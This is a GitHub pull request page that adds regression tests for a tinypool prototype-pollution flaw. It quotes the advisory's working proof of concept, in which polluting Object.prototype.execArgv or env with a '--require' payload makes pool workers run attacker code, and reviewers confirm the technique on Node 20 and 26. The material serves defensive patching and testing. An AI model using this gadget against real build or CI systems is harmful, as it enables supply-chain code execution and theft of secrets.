Skip to content

CVE-2026-104848: Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution - #53

Merged
SeriousJul merged 2 commits into
mainfrom
factory/60-cve-2026-104848-tinypool-prototype-pollution-gadget-in-worker-options-leads-to-remote-code-execution
Oct 6, 2026
Merged

SeriousJul merged 2 commits into
mainfrom
factory/60-cve-2026-104848-tinypool-prototype-pollution-gadget-in-worker-options-leads-to-remote-code-execution

Conversation

@SeriousJul

Copy link
Copy Markdown
Owner

https://github.com/SeriousJul/seriousjul.github.io/security/dependabot/60

Package: tinypool
Ecosystem: npm
Vulnerable range: <= 2.1.0
Severity: critical
CVSS score: 0

tinypool passes worker options to new Worker() by reading them off a plain object whose prototype is Object.prototype. Options the application did not set are resolved through the prototype chain and then passed explicitly to worker_threads.Worker.

Node core ignores Worker options inherited from Object.prototype. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.

Two keys reach code execution:

  1. execArgv — polluting Object.prototype.execArgv = ['--require', '/path/to/attacker.js'] causes every pool worker to load the attacker's script.
  2. env — polluting Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' } achieves the same via environment injection.

Root cause

dist/index.js lines 508-511:

env:            this.options.env,
argv:           this.options.argv,
execArgv:       this.options.execArgv,
resourceLimits: this.options.resourceLimits,

this.options is built at line 470 via object spread:

this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };

Impact

Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).

Proof of concept

Minimal reproduction (3 files):

worker.mjs — the application's own legitimate worker:

export default function double(n) { return n * 2 }

payload.js — attacker-controlled code (never referenced by the app):

const fs = require('fs')
fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)
console.log('*** RCE ***')

app.js — normal tinypool usage:

const path = require('path')

// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)
Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]

const { Tinypool } = require('tinypool')
const pool = new Tinypool({
  filename: path.join(__dirname, 'worker.mjs'),
  minThreads: 1, maxThreads: 1
})
pool.run(21).then(r => {
  console.log('pool returned:', r)  // 42 — app works normally
  pool.destroy()
})

Run:

npm i tinypool@2.1.0
node app.js
cat /tmp/RCE_PROOF.txt   # attacker's code ran

Both execArgv and env vectors confirmed on Node 20.

Suggested fix

Resolve worker options with own-property semantics:

this.options = Object.assign(Object.create(null),
  kDefaultOptions, options, { filename, maxQueue: 0 });

… pin

The pin to tinypool 2.1.2 (added for CVE-2026-104849) already leaves the
vulnerable range <= 2.1.0 of CVE-2026-104848, whose first patched version
is 2.1.1. This adds the behavioural coverage for this advisory's
worker-options gadget, which the existing suite did not exercise:

- Object.prototype.execArgv pollution must not make pool workers load an
  attacker module (the advisory's proof of concept)
- Object.prototype.env pollution must not replace the worker environment,
  whose NODE_OPTIONS the worker thread re-parses at startup
- an explicit own execArgv/env option must still be honoured (negative
  control: own options and polluted ones stay distinguishable)

Verified: 1.1.1 fails 5 of 10 (advisory-shape run case, the two lockfile
floor checks, and both new worker-options cases); 2.1.2 passes 10 of 10.
npm test 101/101, typecheck and prettier clean.

Alert: https://github.com/SeriousJul/seriousjul.github.io/security/dependabot/60
@SeriousJul

Copy link
Copy Markdown
Owner Author

No dependency change is needed on this branch: the tinypool pin that resolves this alert (range <= 2.1.0, first patched 2.1.1) already merged to main via PR #50 for the sibling alert CVE-2026-104849. That pin sets the lockfile to tinypool 2.1.2, outside this advisory's range, and Dependabot has this alert in the fixed state.

This branch adds the regression coverage the existing suite was missing for this advisory's worker-options gadget:

  • Object.prototype.execArgv pollution must not make pool workers load an attacker module (the advisory's proof of concept)
  • Object.prototype.env pollution must not replace the worker environment, whose NODE_OPTIONS the worker thread re-parses at startup
  • an explicit own execArgv/env option must still be honoured (negative control)

Verified red/green: the suite fails 5 of 10 on tinypool 1.1.1 (advisory-shape run case, the two lockfile floor checks, and both new worker-options cases) and passes 10 of 10 on 2.1.2. Full suite 101/101, typecheck and prettier clean.

@SeriousJul
SeriousJul marked this pull request as ready for review October 6, 2026 23:02

@SeriousJul SeriousJul left a comment

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

  • Score: 95 / 100
  • Specification Check: Pass
  • Quality Check: Pass
  • Required Changes: None blocking. Two optional notes listed below.

Verification performed

I ran the suite against all three states the file documents, on Node 20 (the CI runtime) and Node 26:

tinypool Result
2.1.2 (pinned, patched) 10/10 pass
2.1.0 (vulnerable boundary) 4 fail: version floor, advisory-shape run(), polluted execArgv, polluted env
1.1.1 (version the unsatisfied ^1.0.2 range ships) 5 fail of 10, exactly as the file header documents

The red state is real, not vacuous: on 2.1.0 the execArgv test observed the payload write its marker file, and the env test observed the worker carrying the polluted marker and no PATH.

I also confirmed the env vector is genuine RCE, not just environment replacement: a polluted Object.prototype.env with NODE_OPTIONS: '--require <payload>' made the worker load the attacker module on both Node 20.20.2 and Node 26.8.2. The comment in the env test that "the worker thread re-parses NODE_OPTIONS from its own environment at startup" is accurate for both CI and local runtimes.

Specification

Both advisory vectors are covered end to end:

  1. execArgv - the advisory's proof of concept, reproduced with the pool constructed without an own execArgv, asserts the worker stayed legitimate and the marker file was never written.
  2. env - asserts the worker saw no polluted marker, still had the host PATH, and the NODE_OPTIONS payload never ran.
  3. A negative control proves an explicitly passed own execArgv/env still loads the named module, so the red cases cannot pass for the wrong reason.

The pin floor correctly stays at 2.1.2 (the higher of 2.1.1 and 2.1.2), and the lockfile override checks are unchanged and still hold. The fixture is documented and matches the style of the existing fixture pair. Prettier is clean.

Quality

  • The withPrototypeFilename helper generalised to withPrototypeProperty(key, value, body) with the same collision guard and cleanup; no duplication added.
  • Temp payload and marker live in a mkdtemp scratch dir removed in a finally, which is tighter than the advisory's fixed /tmp/RCE_PROOF.txt path.
  • The header's verified-behaviour table is accurate: I reproduced the "5 of 10" figure for 1.1.1 exactly.

Optional notes (not blocking)

  • The header documents 1.1.1 and 2.1.2 only. Adding the 2.1.0 boundary row (4 of 10 fail) would make the vulnerable range < 2.1.1 visible in the file, since 1.1.1 alone does not prove the fix landed at 2.1.1.
  • The env test asserts marker === null before hasPath. On a vulnerable build both fire, but if a future regression passes a polluted env that does carry PATH, only the marker check catches it. The current ordering and wording are fine; no change needed.

@SeriousJul
SeriousJul merged commit 6a50fc6 into main Oct 6, 2026
5 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant